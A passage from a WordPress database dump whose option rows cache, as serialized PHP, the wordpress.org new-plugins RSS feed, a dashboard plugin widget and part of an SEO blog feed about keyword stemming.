WordPress\n&lt;/code&gt;&lt;/pre&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;1.0&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Created Menu restrict 1.0&lt;/li&gt;\n&lt;/ul&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:6;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;Sel Shortcodes\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:45:\&quot;https://wordpress.org/plugins/sel-shortcodes/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 19 Jul 2017 11:43:33 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:45:\&quot;https://wordpress.org/plugins/sel-shortcodes/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:58:\&quot;This plugin created for official themes from Selthemes.com\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;Selthemes\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:610:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;This plugin generates following shortcodes on wp sites.&lt;br /&gt;\n* Grid&lt;br /&gt;\n* Button&lt;br /&gt;\n* Callouts&lt;br /&gt;\n* Accordion&lt;br /&gt;\n* Tabs&lt;/p&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Details&lt;/dt&gt;\n&lt;dd&gt;\n&lt;ol&gt;\n&lt;li&gt;Upload &amp;#8216;sel-shortcodes&amp;#8217; to the &amp;#8216;/wp-content/plugins/&amp;#8217; directory&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; menu in WordPress.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;/dd&gt;\n&lt;dt&gt;Can I use this plugin with “non-selthemes” themes?&lt;/dt&gt;\n&lt;dd&gt;\n&lt;p&gt;Yes.&lt;/p&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;1.0&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Initial release.&lt;/li&gt;\n&lt;/ul&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:7;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:25:\&quot;Woo Shop Front Customizer\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:56:\&quot;https://wordpress.org/plugins/woo-shop-front-customizer/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 19 Jul 2017 11:05:31 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:56:\&quot;https://wordpress.org/plugins/woo-shop-front-customizer/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:83:\&quot;Admin can manage Shop and product detail page element with the help of this plugin.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:13:\&quot;the_wpexperts\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2189:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;Admin can Show / Hide elements of Shop and product detail page with the help of this plugin.&lt;/p&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Download the Plugin (in a zip file) on your system&lt;/li&gt;\n&lt;li&gt;In the Admin Panel click on Plugin and select ‘Add New’ from the sub menu&lt;/li&gt;\n&lt;li&gt;In the next screen Upload the plugin by browsing to the location where you have downloaded the plugin&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; menu in WordPress&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Or&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Upload the woo-shop-front-customizer (directory included) to the /wp-content/plugins/ directory&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; menu in WordPress&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;ul&gt;\n&lt;li&gt;Download the Plugin (in a zip file) on your system&lt;/li&gt;\n&lt;li&gt;In the Admin Panel click on Plugin and select ‘Add New’ from the sub menu&lt;/li&gt;\n&lt;li&gt;In the next screen Upload the plugin by browsing to the location where you have downloaded the plugin&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; menu in WordPress&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Or&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Upload the woo-shop-front-customizer (directory included) to the /wp-content/plugins/ directory&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; menu in WordPress&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/dd&gt;\n&lt;dt&gt;Which versions of WooCommerce does this plugin support?&lt;/dt&gt;\n&lt;dd&gt;\n&lt;p&gt;Woo Shop Front Customizer Popup  plugin is compatible with all the versions of WooCommerce. In case you face any issues, please write to us with its detailed description.&lt;/p&gt;\n&lt;/dd&gt;\n&lt;dt&gt;I am unable to download the Plugin.&lt;/dt&gt;\n&lt;dd&gt;\n&lt;p&gt;Sometimes internet speed or some server related issue can cause a delay. Wait for a few moments and try again. Alternatively, check for any proxy related settings that might be interfering with the download.&lt;/p&gt;\n&lt;/dd&gt;\n&lt;dt&gt;I have some suggestions regarding the plugin.&lt;/dt&gt;\n&lt;dd&gt;\n&lt;p&gt;All the suggestions and feedbacks are welcomed. Please send your suggestions to us at the details mentioned in contact us section. We’ll be glad to hear from you.&lt;/p&gt;\n&lt;/dd&gt;\n&lt;dt&gt;1.0&lt;/dt&gt;\n&lt;dd&gt;\n&lt;ul&gt;\n&lt;li&gt;Initial version&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:8;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:21:\&quot;Custom Bulleted Lists\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:52:\&quot;https://wordpress.org/plugins/custom-bulleted-lists/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 19 Jul 2017 10:39:33 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:52:\&quot;https://wordpress.org/plugins/custom-bulleted-lists/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:95:\&quot;Custom Bullet Lists: Write attractive and visually appealing content using custom bullet lists.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:21:\&quot;Janmejai Pratap Singh\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1272:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;WordPress provides basic bullet list options. But, they are basic in nature and are not visually appealing.&lt;/p&gt;\n&lt;p&gt;With Custom Bullet Lists for WordPress, you will get custom bullet styles in your post editor to use in your content. The plugin is easy to use and requires no coding, you can use the custom bullet styles from your post editor in the same way, as you use the default bullet lists.&lt;/p&gt;\n&lt;p&gt;You can see &lt;a href=\&quot;https://abcofwp.com/custom-bullet-lists-wordpress/\&quot; rel=\&quot;nofollow\&quot;&gt;demo of the bullet lists&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Currently, the plugin provides 7 styles for bullet lists. I&amp;#8217;ll welcome &lt;a href=\&quot;https://abcofwp.com/custom-bullet-lists-wordpress/\&quot; rel=\&quot;nofollow\&quot;&gt;suggestion regarding more styles&lt;/a&gt;, however, the icons should be available in WordPress Dashicons and should be something that can be used by everyone.&lt;/p&gt;\n&lt;h4&gt;Features&lt;/h4&gt;\n&lt;ol&gt;\n&lt;li&gt;7 Styles of bullet options.&lt;/li&gt;\n&lt;li&gt;Uses WordPress dashicons provided by WordPress.&lt;/li&gt;\n&lt;li&gt;As it uses Dashicons, the plugin is lightweight.&lt;/li&gt;\n&lt;li&gt;Doesn&amp;#8217;t uses images like other plugins. &lt;/li&gt;\n&lt;li&gt;Easy to use, no coding required.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;1.0&lt;/h4&gt;\n&lt;p&gt;Release Date: July 18th, 2017&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Intial Version&lt;/li&gt;\n&lt;/ul&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:9;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:36:\&quot;WP Perfect Image Cropper and Resizer\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:67:\&quot;https://wordpress.org/plugins/wp-perfect-image-cropper-and-resizer/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 19 Jul 2017 10:35:03 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:67:\&quot;https://wordpress.org/plugins/wp-perfect-image-cropper-and-resizer/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:103:\&quot;Generate perfect images for posts, pages or WooCommerce products. Provide a max width and height&amp;#8230;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:11:\&quot;expresstech\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1276:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;This plugin helps you to generate perfect images for your Posts, Pages and (WooCommerce) Products.&lt;/p&gt;\n&lt;p&gt;Generally, you loose image content while uploading due to various sizes and cropping. This plugin, however, while keeping the aspect ratio intact ALSO keeps the image content intact. It does it by adding whitespace padding where ever required.&lt;/p&gt;\n&lt;p&gt;You can use this plugin to generate a perfect looking shop or blog with even images sizes.&lt;/p&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Upload &lt;code&gt;wp-perfect-image-cropper-resizer.php&lt;/code&gt; to the &lt;code&gt;/wp-content/plugins/&lt;/code&gt; directory&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; menu in WordPress&lt;/li&gt;\n&lt;li&gt;Place &lt;code&gt;&amp;lt;?php do_action(\'plugin_name_hook\'); ?&amp;gt;&lt;/code&gt; in your templates&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;1.0&lt;/h4&gt;\n&lt;p&gt;First version.&lt;/p&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;ol&gt;\n&lt;li&gt;Upload &lt;code&gt;wp-perfect-image-cropper-resizer.php&lt;/code&gt; to the &lt;code&gt;/wp-content/plugins/&lt;/code&gt; directory&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; menu in WordPress&lt;/li&gt;\n&lt;li&gt;Place &lt;code&gt;&amp;lt;?php do_action(\'plugin_name_hook\'); ?&amp;gt;&lt;/code&gt; in your templates&lt;/li&gt;\n&lt;/ol&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}}}s:27:\&quot;http://www.w3.org/2005/Atom\&quot;;a:1:{s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:3:{s:4:\&quot;href\&quot;;s:46:\&quot;https://wordpress.org/plugins/browse/new/feed/\&quot;;s:3:\&quot;rel\&quot;;s:4:\&quot;self\&quot;;s:4:\&quot;type\&quot;;s:19:\&quot;application/rss+xml\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:44:\&quot;http://purl.org/rss/1.0/modules/syndication/\&quot;;a:2:{s:12:\&quot;updatePeriod\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;hourly\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:15:\&quot;updateFrequency\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;1\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}}}}}}}}s:4:\&quot;type\&quot;;i:128;s:7:\&quot;headers\&quot;;a:10:{s:6:\&quot;server\&quot;;s:5:\&quot;nginx\&quot;;s:4:\&quot;date\&quot;;s:29:\&quot;Wed, 19 Jul 2017 13:35:34 GMT\&quot;;s:12:\&quot;content-type\&quot;;s:34:\&quot;application/rss+xml; charset=UTF-8\&quot;;s:10:\&quot;connection\&quot;;s:5:\&quot;close\&quot;;s:25:\&quot;strict-transport-security\&quot;;s:11:\&quot;max-age=360\&quot;;s:6:\&quot;x-olaf\&quot;;s:3:\&quot;⛄\&quot;;s:13:\&quot;last-modified\&quot;;s:29:\&quot;Wed, 19 Jul 2017 13:23:32 GMT\&quot;;s:4:\&quot;link\&quot;;s:66:\&quot;&lt;https://wordpress.org/plugins/wp-json/&gt;; rel=\&quot;https://api.w.org/\&quot;\&quot;;s:15:\&quot;x-frame-options\&quot;;s:10:\&quot;SAMEORIGIN\&quot;;s:4:\&quot;x-nc\&quot;;s:11:\&quot;HIT lax 249\&quot;;}s:5:\&quot;build\&quot;;s:14:\&quot;20170719132742\&quot;;}', 'no'),
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(121530, '_transient_dash_de3249c4736ad3bd2cd29147c4a0d43e', '&lt;h4&gt;Most Popular&lt;/h4&gt;\n&lt;h5&gt;&lt;a href=\'https://wordpress.org/plugins/limit-login-attempts/\'&gt;Limit Login Attempts&lt;/a&gt;&lt;/h5&gt;&amp;nbsp;&lt;span&gt;(&lt;a href=\'plugin-install.php?tab=plugin-information&amp;amp;plugin=limit-login-attempts&amp;amp;_wpnonce=0dcc3be870&amp;amp;TB_iframe=true&amp;amp;width=600&amp;amp;height=800\' class=\'thickbox\' title=\'Limit Login Attempts\'&gt;Install&lt;/a&gt;)&lt;/span&gt;\n&lt;p&gt;Limit rate of login attempts, including by way of cookies, for each IP. Fully customizable.&lt;/p&gt;\n&lt;h4&gt;Newest Plugins&lt;/h4&gt;\n&lt;h5&gt;&lt;a href=\'https://wordpress.org/plugins/ultimate-private-member-portal-lite/\'&gt;Ultimate Private Member Portal Lite&lt;/a&gt;&lt;/h5&gt;&amp;nbsp;&lt;span&gt;(&lt;a href=\'plugin-install.php?tab=plugin-information&amp;amp;plugin=ultimate-private-member-portal-lite&amp;amp;_wpnonce=fd4236a9da&amp;amp;TB_iframe=true&amp;amp;width=600&amp;amp;height=800\' class=\'thickbox\' title=\'Ultimate Private Member Portal Lite\'&gt;Install&lt;/a&gt;)&lt;/span&gt;\n&lt;p&gt;Ultimate Private Member Portal Lite provides the ability to add private content specific for each…&lt;/p&gt;\n', 'no'),
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(121542, 'widget_nav_menu', 'a:1:{s:12:\&quot;_multiwidget\&quot;;i:1;}', 'yes'),
(121504, '_transient_timeout_rss_da8c757f762dcd1ec67339593414ea85', '1500474902', 'no');
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(121505, '_transient_rss_da8c757f762dcd1ec67339593414ea85', 'O:9:\&quot;MagpieRSS\&quot;:19:{s:6:\&quot;parser\&quot;;i:0;s:12:\&quot;current_item\&quot;;a:0:{}s:5:\&quot;items\&quot;;a:10:{i:0;a:13:{s:5:\&quot;title\&quot;;s:44:\&quot;Topical Relevance, SEO and Keyword Stemming!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/5s6Rr3nWUss/\&quot;;s:8:\&quot;category\&quot;;s:129:\&quot;ArticlesKeyword Stemming and SEOSearch Engine Relevance ModelSEO and Contextual RelevanceSEO and Topical RelevanceUnique Keywords\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Fri, 19 May 2017 00:59:15 PDT\&quot;;s:4:\&quot;guid\&quot;;s:91:\&quot;http://www.seodesignsolutions.com/blog/articles/topical-relevance-seo-and-keyword-stemming/\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:8050:\&quot;&lt;p&gt;For the purpose of &lt;a href=\&quot;http://www.seodesignsolutions.com/\&quot;&gt;&lt;a class=\'wl-entity-page-link\' href=\'http://www.seodesignsolutions.com/blog/entity/search-engine-optimization-2/\'&gt;SEO&lt;/a&gt;&lt;/a&gt;, context is a definitive factor that can (1) elevate your website past others competing for similar or related keywords (2) build topical &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo/develop-domain-authority/\&quot;&gt;domain authority&lt;/a&gt; and (3) increase conversion by having a higher number of pages occupying a larger percentage of market share for &lt;a href=\&quot;http://seodesignsolutions.com/blog/seo-basics/using-related-search-to-find-googles-most-search-keywords/\&quot;&gt;related keywords&lt;/a&gt; and queries.&lt;/p&gt;\n&lt;div id=\&quot;attachment_2549\&quot; style=\&quot;width: 435px\&quot; class=\&quot;wp-caption aligncenter\&quot;&gt;&lt;a href=\&quot;http://seodesignsolutions.com/blog/articles/topical-relevance-seo-and-keyword-stemming/\&quot;&gt;&lt;img class=\&quot;size-full wp-image-2549\&quot; title=\&quot;keyword-stemming\&quot; src=\&quot;http://seodesignsolutions.com/blog/wp-content/uploads/2009/05/keyword-stemming.jpg\&quot; alt=\&quot;Create Topical Relevance for Keyword Stemming\&quot; width=\&quot;425\&quot; height=\&quot;282\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/05/keyword-stemming.jpg 425w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2009/05/keyword-stemming-300x199.jpg 300w\&quot; sizes=\&quot;(max-width: 425px) 100vw, 425px\&quot; 